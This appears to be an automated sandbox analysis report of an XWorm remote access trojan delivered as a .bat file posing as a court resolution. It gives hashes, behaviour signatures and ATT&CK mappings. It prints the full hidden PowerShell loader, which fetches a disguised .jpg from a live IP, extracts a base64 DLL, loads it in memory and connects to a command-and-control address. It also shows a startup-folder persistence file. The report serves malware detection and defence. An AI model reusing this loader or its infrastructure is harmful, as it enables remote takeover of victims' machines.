xworm | 4fdd897c9e6c669b7eba50aadc963c7bfb3ba2e19055daebfc05e3d520ccddbf

Analysis

max time kernel
132s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16/01/2025, 09:29

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General

Target

Resolucion No. CSJSAR08765-390 Modifica Horario Juzgados.bat
Size

224KB
MD5

df1f35059b68373b63e5f3eab4338b5b
SHA1

29612120a704e71f5031ffa4a8bb139c3243fa7b
SHA256

4fdd897c9e6c669b7eba50aadc963c7bfb3ba2e19055daebfc05e3d520ccddbf
SHA512

e99f000ecc42dc95fd47abc74c34fca27cbb117660736bd9ab3e3eb89cbc31cef2003ea29beca4acd4a877625ac7afd72917379183baaab0265ed8298e193533
SSDEEP

6144:2Q12/wE6NeWgmXcydX51t9dZndh1vRJtdZxF98:M

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://94.154.35.88/DetahNote.jpg

exe.dropper

http://94.154.35.88/DetahNote.jpg

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1424-17-0x000001EA63A70000-0x000001EA63E04000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	1424	powershell.exe
23	1424	powershell.exe
37	1424	powershell.exe
40	1424	powershell.exe
45	1424	powershell.exe
46	1424	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1424	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nome_desejado.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nome_desejado.bat	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1424	powershell.exe
1424	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1424	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 1424	5036	cmd.exe	84
PID 5036 wrote to memory of 1424	5036	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Resolucion No. CSJSAR08765-390 Modifica Horario Juzgados.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:5036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cDovLzk0LjE1NC4zNS44OC9EZXRhaE5vdGUuanBn'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('94.154.35.80', '8668');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qcubfi0.ept.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1424-2-0x00007FFE76443000-0x00007FFE76445000-memory.dmp

Filesize
8KB

Download
memory/1424-8-0x000001EA48FB0000-0x000001EA48FD2000-memory.dmp

Filesize
136KB

Download
memory/1424-13-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

Filesize
10.8MB

Download
memory/1424-14-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

Filesize
10.8MB

Download
memory/1424-15-0x00007FFE76443000-0x00007FFE76445000-memory.dmp

Filesize
8KB

Download
memory/1424-16-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

Filesize
10.8MB

Download
memory/1424-17-0x000001EA63A70000-0x000001EA63E04000-memory.dmp

Filesize
3.6MB

Download
memory/1424-18-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

Filesize
10.8MB

Download